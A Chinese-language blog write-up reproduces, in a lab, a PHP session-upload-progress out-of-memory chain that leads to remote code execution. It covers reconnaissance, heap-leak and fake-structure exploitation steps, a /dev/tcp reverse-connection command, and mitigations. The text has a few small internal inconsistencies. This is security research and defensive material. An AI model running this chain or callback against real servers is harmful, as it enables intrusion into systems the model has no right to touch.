4869 字
24 分钟
PHP2Shell:会话上传进度 OOM 到 RCE(CVE-2026-109618 / CVE-2026-109619)复现

CVE-2026-109618 和 CVE-2026-109619 是 PHP 在 2026 年 10 月披露的两个内存破坏漏洞,CVSS 都是 9.2。触发点在 PHP 处理请求的启动阶段,比脚本执行还早,所以不需要应用代码配合。公开资料把这对漏洞合称 PHP2Shell。

受影响范围是 PHP 5.4 到 8.5.11,修复版本是 8.2.35、8.3.36、8.4.27、8.5.12。所有处理 Web 请求的 SAPI 都受影响。Apache mod_php 的风险最高,它的子进程是长驻的,跨请求的脏状态不会被主动清掉。

靶机 192.168.31.148 上用官方 php:8.4.26-apache 镜像搭一个只有一行代码的站点,攻击机 192.168.31.152。下面的顺序按实战走:先扫端口和业务,看这个站点是什么形态,再判断攻击面落在哪一层,然后挑出适用的漏洞,最后验证并利用。

漏洞基础信息#

漏洞编号CVSS 评分影响版本漏洞类型
CVE-2026-1096189.2PHP 5.4 至 8.5.11OOM 导致内存损坏,可致 RCE
CVE-2026-1096199.2PHP 5.4 至 8.5.11跨请求悬空全局状态,可致 RCE

两个漏洞共用同一个入口:session.upload_progress。这个特性默认开启,本来是给文件上传显示进度条用的。PHP 处理 multipart 请求时,只要看到 PHP_SESSION_UPLOAD_PROGRESS 字段,就会在请求启动阶段把进度写进 session 文件,位置比脚本执行早,也比模块的 RINIT 早。

链条还依赖两个默认配置:

  • session.use_strict_mode 为 0,允许客户端自己指定 session id
  • memory_limit 是有限值,这样才可能触发 OOM

条件齐了以后,目标页面不需要有任何 session 代码,甚至不需要参数。能跑的 PHP 页面就够。

漏洞复现#

复现环境准备#

靶机是 192.168.31.148,Kali,靶标用 Docker 跑。镜像用官方 php:8.4.26-apache,基于 Debian bookworm,自带 Apache 2.4.69 和 PHP 8.4.26。

Terminal window
┌──(kali㉿kali)-[~]
└─$ sudo docker run -d --name p2s-pure-18110 -p 18110:80 \
-v /home/kali/php2shell-md/docker/www:/var/www/html:ro \
-v /home/kali/php2shell-md/out:/out \
php:8.4.26-apache /bin/sh -c \
'cp /usr/local/etc/php/php.ini-production /usr/local/etc/php/php.ini; exec apache2-foreground'
└─$ sudo docker ps --filter name=p2s-pure-18110 --format "table {{.ID}}\t{{.Image}}\t{{.Ports}}\t{{.Names}}" # 确认容器状态
CONTAINER ID IMAGE PORTS NAMES
92f147743d3d php:8.4.26-apache 0.0.0.0:18110->80/tcp, [::]:18110->80/tcp p2s-pure-18110

官方镜像默认不带 php.ini,这里把镜像自带的 php.ini-production 复制成 php.ini。没有改编译参数,没有打补丁,没有动 Apache 配置。

目标页面只有一行:

<?php echo "OK\n"; ?>

靶标的配置就是官方镜像的默认值:memory_limit 128M、post_max_size 8M、session.upload_progress.enabled On、session.use_strict_mode Off,MPM 是 prefork,MaxRequestWorkers 150。这些值攻击者从外部读不到,链条只要求它们是出厂值。

150 这个数字后面要用:同一条链上的四个请求必须落在同一个子进程里,脚本用 149 个不完整的连接把其余 worker 占住,只留一个。

另外用 php:8.3.4-apache 起过同样的站点,链条没打通。两个版本的 session 初始化时序不一样,8.3 在 php_session_initialize 内部就把 Cookie 发出去并清掉 send_cookie 标志,8.4 把这一步挪到了 multipart 解析结束。所以 A1 那笔 OOM 在 8.3.4 上落在发 Cookie 之后,B1 拿不到悬空的 id。换版本除了重新取 libphp.so 的符号偏移,还要重新算 OOM 落在哪一段代码里。

端口扫描与内容发现#

先对整个端口段扫一遍,带上默认脚本和 vulners 版本库比对:

Terminal window
┌──(kali㉿kali)-[~]
└─$ sudo nmap -sS -Pn -T4 -sV -p- --script "default,vulners" 192.168.31.148
Nmap scan report for kali (192.168.31.148)
Host is up (0.00072s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.2p1 Debian 6 (protocol 2.0)
| vulners:
| cpe:/a:openbsd:openssh:10.2p1:
| CVE-2026-60002 9.4 https://vulners.com/cve/CVE-2026-60002
| CVE-2026-35414 8.1 https://vulners.com/cve/CVE-2026-35414
| CVE-2026-35386 8.1 https://vulners.com/cve/CVE-2026-35386
| CVE-2026-35385 8.1 https://vulners.com/cve/CVE-2026-35385
| …(其余 23 条为 2026 年的条目,只按版本号匹配,无公开利用链,略)
18110/tcp open http Apache httpd 2.4.69 ((Debian))
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.69 (Debian)
| vulners:
| cpe:/a:apache:http_server:2.4.69:
|_ GHSA-XM48-VPF9-PGMX 0.0 https://vulners.com/github/GHSA-XM48-VPF9-PGMX
MAC Address: 00:0C:29:B3:23:74 (VMware)
Service Info: OS: Linux, CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Nov 1 07:03:47 2026 -- 1 IP address (1 host up) scanned in 17.68 seconds

65533 个端口是 closed(RST),没有 filtered,靶机没有防火墙拦截,对外只暴露 SSH 和 Web。22 端口是 Kali 自带的 OpenSSH,不是应用入口。18110 是唯一的 HTTP 服务。

vulners 给出 28 条记录,OpenSSH 27 条、Apache 1 条。OpenSSH 那批全是 2026 年的条目,按版本号匹配出来的,没有公开利用链;Apache 2.4.69 只有一条 GHSA,评分 0.0。这些条目和站点上实际跑的东西对不上号,先记下来。

再看有没有别的路径:

Terminal window
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://192.168.31.148:18110/ -w /usr/share/wordlists/dirb/common.txt -t 40 -q --no-error
.htpasswd (Status: 403) [Size: 322]
.htaccess (Status: 403) [Size: 322]
.hta (Status: 403) [Size: 322]
index.php (Status: 200) [Size: 3]
server-status (Status: 403) [Size: 322]

只有 index.php 返回 200,内容三个字节。其余几个是 Apache 的默认拒绝,server-status 只允许本地访问。整个站点就一个入口脚本。

业务面探测#

能访问的只有 18110 上的 Apache,先看它是什么业务:

Terminal window
┌──(kali㉿kali)-[~]
└─$ whatweb -a 3 http://192.168.31.148:18110/
http://192.168.31.148:18110/ [200 OK] Apache[2.4.69], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.69 (Debian)], IP[192.168.31.148], PHP[8.4.26], X-Powered-By[PHP/8.4.26]

再摸一遍常见的入口文件和目录:

Terminal window
┌──(kali㉿kali)-[~]
└─$ for p in robots.txt .git/HEAD .env index.php.bak index.php~ backup.zip admin/ upload.php phpinfo.php; do
printf '%-16s %s\n' "$p" "$(curl -s -o /dev/null -w '%{http_code} %{size_download}' http://192.168.31.148:18110/$p)"
done
robots.txt 404 319
.git/HEAD 404 319
.env 404 319
index.php.bak 404 319
index.php~ 404 319
backup.zip 404 319
admin/ 404 319
upload.php 404 319
phpinfo.php 404 319

全部 404,返回的都是 Apache 那个 319 字节的错误页。这个长度可以当参照:后面哪个请求的响应不是 319,说明它走到了应用代码。

首页本身只有两个字节:

Terminal window
┌──(kali㉿kali)-[~]
└─$ curl -s http://192.168.31.148:18110/index.php | xxd
00000000: 4f4b 0a OK.

没有表单,没有链接,没有 JS,没有任何业务数据。接着看它接不接收输入。先看支持的 HTTP 方法:

Terminal window
┌──(kali㉿kali)-[~]
└─$ curl -s -i -X OPTIONS http://192.168.31.148:18110/index.php | head -3
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2026 03:42:32 GMT
Server: Apache/2.4.69 (Debian)
└─$ curl -s -o /dev/null -w 'TRACE=%{http_code}\n' -X TRACE http://192.168.31.148:18110/index.php
TRACE=405

OPTIONS 的响应头里没有 Allow,TRACE 被拒绝。再试参数,GET 和 POST 各来一组最常见的名字,值统一给 /etc/passwd,看响应长度有没有变化:

Terminal window
┌──(kali㉿kali)-[~]
└─$ for n in file page id cmd url path include data action q; do
printf 'POST %-8s -> %s\n' "$n" "$(curl -s -o /dev/null -w '%{size_download}' -X POST -d "$n=/etc/passwd" http://192.168.31.148:18110/index.php)"
done
POST file -> 3
POST page -> 3
POST id -> 3
POST cmd -> 3
POST url -> 3
POST path -> 3
POST include -> 3
POST data -> 3
POST action -> 3
POST q -> 3

GET 的结果一样,全是 3 字节。再试一次文件上传:

Terminal window
┌──(kali㉿kali)-[~]
└─$ curl -s -o /dev/null -w 'upload=%{http_code} size=%{size_download}\n' -X POST -F 'file=@/etc/hostname' http://192.168.31.148:18110/index.php
upload=200 size=3

文件传上去了,响应还是三个字节,没有接收逻辑。带上 Cookie 再请求一次,响应里也没有 Set-Cookie,页面自己不会建立会话。

到这里业务面就摸完了:一个只会输出 OK 的 PHP 文件,没有参数、没有上传、没有数据库、没有包含,任何输入都不改变它的行为。

确定攻击面#

业务层没有输入点,注入、文件包含、上传、反序列化这几类都没有落点。剩下的只有 PHP 解释器处理请求这一层,它不需要应用配合,有请求进来就有机会触发。

判断依据来自响应头。X-Powered-By 是 PHP/8.4.26,而 PHP 在 2026 年 10 月的这批修复里,8.4.27 是 8.4 分支的修复版本,靶标正好低一个补丁版本。CVE-2026-109618 与 CVE-2026-109619 的影响范围是 5.4 到 8.5.11,8.4.26 落在区间里。修复版本同时覆盖 8.2.35、8.3.36、8.4.27、8.5.12 四个分支,说明问题在 PHP 核心的请求处理逻辑里,不在某个 SAPI 或某个发行版。

这条链要成立,还需要三个条件同时具备:

  1. PHP 版本在 5.4 到 8.5.11 之间
  2. session.upload_progress.enabled 为 On
  3. session.use_strict_mode 为 Off

第一条从响应头读到了。后两条任何响应头都不会透露,只能按官方镜像的默认值假设,这两个开关在 PHP 里默认就是打开和关闭的。假设对不对,往下走一遍就知道。

前面 nmap 的 vulners 结果里没有这条 CVE,扫描器只认 Apache 和 OpenSSH 的版本号,看不到 PHP 版本,也看不到 session 配置。候选只能靠人工从响应头推出来,再用行为去验证。

漏洞验证#

为了看清每一步在做什么,下面把链条拆开单独发,不直接跑完整脚本。请求都从攻击机 192.168.31.152 发往 192.168.31.148 的 18110 端口。

第一步,看请求能不能在脚本执行之前被打断。A1 是链条里的第一个请求,单独发一次:

Terminal window
┌──(kali㉿kali)-[~]
└─$ cd /home/kali/php2shell-md
└─$ python3 pure/mk_a1.py --out /tmp/a1.bin # 生成 A1 的 chunked body
└─$ python3 pure/chunked_send.py --host 192.168.31.148 --port 18110 \
--body-file /tmp/a1.bin --save-response /tmp/a1.resp
body=1060211 resp=211 status='HTTP/1.0 500 Internal Server Error'
└─$ head -6 /tmp/a1.resp
HTTP/1.0 500 Internal Server Error
Date: Sun, 01 Nov 2026 06:56:15 GMT
Server: Apache/2.4.69 (Debian)
X-Powered-By: PHP/8.4.26
Content-Length: 0
Connection: close

同一个页面正常请求返回 200 加三个字节。index.php 只有一行 echo,脚本跑起来就会输出 OK。这里返回 500,响应体长度是 0,说明请求在脚本执行之前就断了。普通 PHP 脚本出错会把错误和行号打进响应体,这次什么都没有,中断点在 C 代码里。

第二步,A1 之后接 B1,看 Set-Cookie 变成什么样。这一步有个前提:A1 和 B1 要落在同一个 Apache 子进程上,否则悬空指针不在同一个进程里,B1 读到的还是干净的 32 字节 id。参考实现先开 149 个只发请求头、不发 body 的连接把 worker 占住,再依次发 A1 和 B1:

Terminal window
┌──(kali㉿kali)-[~]
└─$ P2S_HOST=192.168.31.148 python3 exploit_lan.py --port 18110 --workers 150 --retries 1
pinned 150/150 workers (149 holders)
[try 1] A1: END-cleanup send_cookie OOM
[try 1] B1: stale-id OOB read (chunk base + libphp)
decoded=819208 zval_ptr_dtor=0x7fa112100b60 -> libphp=0x7fa111aa2000
chunk buckets: [('0x7fa10f600000', 7495), ('0x7fa112000000', 1095), ('0x7fa10fe00000', 87), ('0x7fa10f400000', 79)]

参考实现的连接地址写死成 127.0.0.1,这里用环境变量 P2S_HOST 换成靶机地址,其余不变。

正常请求的 PHPSESSID 是 32 个字符,这次的 Set-Cookie 解码出 819208 字节。这个数字来自伪造的 zend_string 头:长度字段写成 0xC8000,也就是 819200,加上 8 字节的数据偏移,正好 819208。PHP 把从 id 指针开始的 800KB 内存当成字符串,url_encode 之后塞进了 Cookie。

这些字节里混着堆上的指针。输出里的 zval_ptr_dtor=0x7fa112100b60 是其中一个,它指向 libphp.so 里的 zval_ptr_dtor 函数,减去已知偏移 0x65EB60 得到 libphp 的基址 0x7fa111aa2000。

chunk buckets 是内存里 2MB 对齐的 chunk 指针分布,括号里是出现次数,最上面两个是主 chunk 的候选地址。

B1 没有调用 session_start(),却能让 session 模块在请求启动阶段生成 Cookie,这也说明 session.upload_progress 是开着的。

第三步,整条链。A2 和 B2 接在 B1 后面,同样要求落在同一个子进程上。参考实现跑完 B2 会去读靶机上的 proof 文件,跨主机时读不到,所以把执行的命令换成一个回连,攻击机这边监听端口收结果:

Terminal window
┌──(kali㉿kali)-[~]
└─$ P2S_HOST=192.168.31.148 P2S_CB=192.168.31.152:4446 \
python3 exploit_lan.py --port 18110 --workers 150
pinned 150/150 workers (149 holders)
[try 1] A1: END-cleanup send_cookie OOM
[try 1] B1: stale-id OOB read (chunk base + libphp)
decoded=819208 zval_ptr_dtor=0x7fa112100b60 -> libphp=0x7fa111aa2000
chunk buckets: [('0x7fa10f600000', 7495), ('0x7fa112000000', 1095), ('0x7fa10fe00000', 87), ('0x7fa10f400000', 79)]
[try 1] A2 + B2: main=0x7fa10fe00000 S=0x7fa10fef8398 zif_system=0x7fa111f07370
[4/4] RCE OK; callback:
uid=33(www-data) gid=33(www-data) groups=33(www-data)

命令是 bash -c 'id >/dev/tcp/192.168.31.152/4446',由目标上的 system 执行,输出直接连回攻击机。

从发出第一个请求到收到回连,3 到 4 秒。期间目标的 php.ini 没改过,Apache 没重启过,web 根下没写过文件,整条链只有 HTTP 请求。

漏洞利用#

参考实现把链条拆成 A1、B1、A2、B2 四个请求,全部由攻击机发出。

先占住 worker。Apache prefork 默认 MaxRequestWorkers 150,脚本先建立 149 个只发了请求头、不带完整 body 的连接,把这 149 个子进程占住,剩下的那一个依次处理四个请求。运行时打印的 pinned 150/150 workers (149 holders) 就是这一步。

之所以要钉住,是因为悬空指针存在进程的全局变量里。Apache prefork 的每个子进程独立处理请求,四个请求分到不同子进程,指针就断了。

第一段,A1 让 OOM 落在发 Cookie 的路径上。A1 是一个 chunked multipart 请求,body 里有这些字段:

  • 一个 PHPSESSID 字段
  • 860 个嵌套空文件字段,字段名形如 files[R00000KKK...KKK][a][a]...,深度 64
  • 14 个 103 字节名的填充字段
  • 78 个 8000 字节的大字段
  • 20 个 4000 字节的燃烧字段
  • 一个 4000 字节的 PHP_SESSION_UPLOAD_PROGRESS

chunked 编码没有 Content-Length,rfc1867_post_handler 开头的 post_max_size 检查会被跳过,body 可以远超 8MB。

这些字段的作用是控制堆的形状,让那笔会失败的内存分配正好发生在 php_session_send_cookie() 内部的 php_url_encode() 里。

第二段,B1 把堆读出来。B1 在 A1 留下的 id 内存位置上铺伪造的 zend_string 头,长度写 0xC8000,然后触发 session 初始化。PHP 拿这个 id 去生成 Set-Cookie,读出来的就是一整片堆内存。

800KB 里有三类东西:2MB 对齐的 chunk 指针、HashTable 的 pDestructor 指针、以及其它残留数据。出现次数最多的是 zval_ptr_dtor,1095 次,用它反推 libphp 基址。

第三段,A2 再制造一次 OOM。手法和 A1 类似,目标不同:它在 multipart 解析阶段 OOM,跳过模块 shutdown,让 PS(http_session_vars) 这类 session 全局变量悬空到堆上。

第四段,B2 伪造 zend_array。B2 发 500 个 384 字节的字段,每个字段的值里每 32 字节嵌一个伪造的 zend_reference,ptr 指向 S,也就是伪造数组的地址。再发一个 ht 字段,内容是 384 字节的伪造 zend_array。

这些字节在 S 处拼出一个结构:

  • 前 0x20 字节是 HashTable 头,pDestructor 写成 zif_system
  • 0x20 处是伪造的 zend_execute_data,num_args 为 1,参数指向 S+0x80
  • 0x80 处是伪造的 zend_string,内容是回连命令

请求结束时,PHP 销毁 session 数组,遍历到伪造元素时调用 pDestructor。它的类型是 void (*)(zval *),实际落点是 zif_system,第一个参数被当成 execute_data,命令就这样被执行了。

复现结束后,三个 PHP 容器均已退出,挂载到 /out 的目录里还留着 4 个上传的会话文件,合计 20 KB,属主是容器内的 www-data。攻击流量从 192.168.31.152 直达靶机,未经跳板,上传请求与后续的命令执行都会进入 Apache 的访问日志。

漏洞核心原理#

请求的生命周期与清理点#

PHP 处理一个请求分三段:启动、执行、收尾。

启动阶段也就是 RINIT,各模块初始化自己的全局状态,session 模块在这里打开 session 文件、生成 session id、发 Set-Cookie。执行阶段跑脚本。收尾阶段是 RSHUTDOWN,各模块把状态清干净,session 模块关文件、写数据、复位指针。

session.upload_progress 挂在 multipart 解析器的回调上,而 multipart 解析发生在启动阶段,比模块的 RINIT 更早。带 PHP_SESSION_UPLOAD_PROGRESS 的请求一进来,session 模块就被提前唤醒了。

OOM 与 longjmp#

PHP 的内存分配走 ZendMM。每次 emalloc 都会检查这次分配会不会超过 memory_limit,超了就报 E_ERROR:

zend_error_noreturn(E_ERROR,
"Allowed memory size of %zu bytes exhausted (tried to allocate %zu bytes)",
...);

zend_error_noreturn 最后调用 zend_bailout(),后者是一个 longjmp:

void zend_bailout(void) {
...
longjmp(EG(bailout), 1);
}

longjmp 直接跳回请求开始时 setjmp 的位置,中间所有函数栈帧全部作废。正常返回时该执行的清理代码,一行都不会跑。

OOM 触发 longjmp,中间清理被跳过

悬空指针是怎么留下的#

A1 的 OOM 点被安排在 php_session_send_cookie() 里面。这个函数拿 PS(id) 指向的 session id 做 url_encode,拼进 Set-Cookie 头。

gdb 里看到的调用栈:

Terminal window
#3 zend_string_safe_alloc (persistent=false, l=0, m=32, n=3)
#4 php_url_encode_impl (raw=false, len=32, s=0x7ffff3fff018 "...")
#5 php_url_encode
#6 php_session_send_cookie
#7 php_session_reset_id
#8 php_session_initialize
#9 php_session_rfc1867_update

第一笔分配是 zend_string_safe_alloc(3, 32, 0, 0),121 字节,落在 bin 128,OOM 就发生在这里。

OOM 时:

  • PS(id) 已经指向一块内存,但这块内存处于半初始化状态,或者已经被释放
  • PS(send_cookie) 还是 1,表示没发完
  • session 的清理函数 php_session_rfc1867_cleanup() 没有执行

longjmp 回到顶层后,PHP 仍然会走请求收尾,但收尾函数看到的是不一致的状态,它不会去修 PS(id)。

请求结束了,进程还在。Apache prefork 的子进程处理完一个请求不退出,等下一个连接。PS(id) 就留在进程的全局区里,指向一块已经回收的堆内存。

B1 进来,同一个子进程处理。启动阶段 session 模块又被唤醒,它看到 PS(id) 非空,直接拿来用。攻击者在 B1 的 body 里用大字段把这块内存重新占住,写上伪造的 zend_string 头,长度 0xC8000。于是 url_encode 读的不再是 32 字节的 id,而是 800KB 的堆。

从泄露到基址#

泄露出来的内存里混着各种指针。定位 libphp 的办法是找一个出现次数特别多的固定偏移:HashTable 销毁时用的 pDestructor 都指向 zval_ptr_dtor,同一个进程里这个地址是固定的,所以在 800KB 窗口里会反复出现。

取出现次数最多的那个地址,减去 libphp.so 里的偏移 0x65EB60,得到模块基址。有了基址,zif_system 的地址就是基址加 0x465370。

这两个偏移是 8.4.26 这个构建的值,换版本要重新取符号。换到 8.3.4 上跑同一条链,B1 直接报 no Set-Cookie in leak response,连泄露都拿不到,原因前面说过,是发 Cookie 的时序对不上。

伪造一个能被调用的数组#

第二轮的目的不是读,是写。A2 用同样的 OOM 手法让 PS(hash_serialize_verifier) 悬空,B2 用大量 384 字节字段把伪造的 zend_reference 铺到堆上,ptr 指向 S。

S 处放的是手工拼的 zend_array:

偏移 0x00 gc(引用计数与类型)
偏移 0x08 flags、nTableMask
偏移 0x10 arData = S+0x20
偏移 0x18 nNumUsed、nNumOfElements
偏移 0x30 pDestructor = zif_system

伪造的 384 字节缓冲区被三种结构解读

关键在于 pDestructor。PHP 销毁数组时对每个元素调用它,签名是 void (*)(zval *)。zif_system 的真实签名是 void zif_system(zend_execute_data *execute_data, zval *return_value),两者对不上。但在 x86-64 的调用约定下,第一个参数放进 rdi,pDestructor 传进去的 zval 指针会被 zif_system 当成 execute_data。

所以还要在 S+0x20 放一个假的 zend_execute_data,让 zif_system 从里面取参数。这个结构里 num_args 设成 1,参数指针指向 S+0x80 的假 zend_string,内容是命令字符串。

请求收尾时,session 数组被销毁,走到伪造元素,调用 pDestructor,system 执行。

为什么打不崩进程#

整个过程中 worker 一直在正常服务。OOM 触发的是 bailout,不是段错误,伪造的结构只在收尾那一下被读,读完请求就结束了。日志里能看到 Fatal error,下一个请求照常处理。

麻烦的是连续利用之间的状态污染。上一次 A1 留下的残留还在同一个子进程里,重试时堆布局已经变了。稳妥的做法是每次重试前重启容器,让 worker 回到干净状态。本文的复现里第一次没重启,A2 的两个候选地址都没命中;重启容器后第一次就成功。

修复方案#

升级到修复版本是唯一彻底的办法:

  • 8.4.27
  • 8.3.36
  • 8.2.35
  • 8.5.12

暂时不能升级的话,可以做临时缓解,几条叠加效果更好。

关闭 upload_progress,在 Apache 配置里加:

php_admin_value session.upload_progress.enabled 0

改完要重启所有 worker,只 reload 不够,旧进程里的全局状态还在。

把 memory_limit 设为 -1,让 OOM 不发生。代价是失去内存保护,只适合能控住请求大小的场景。

把 pm.max_requests 设为 1,让每个子进程处理完一个请求就退出,跨请求的悬空指针带不到下一个请求。这个做法对性能影响明显。

已经 EOL 的 PHP 5.4 到 8.1,官方不再发补丁,只能靠发行版或商业支持回填。

参考链接#

PHP2Shell:会话上传进度 OOM 到 RCE(CVE-2026-109618 / CVE-2026-109619)复现
https://blog.mal-suen.cn/posts/2026/11/222/
作者
Malcolm
发布于
2026-11-01
许可协议
CC BY-NC-SA 4.0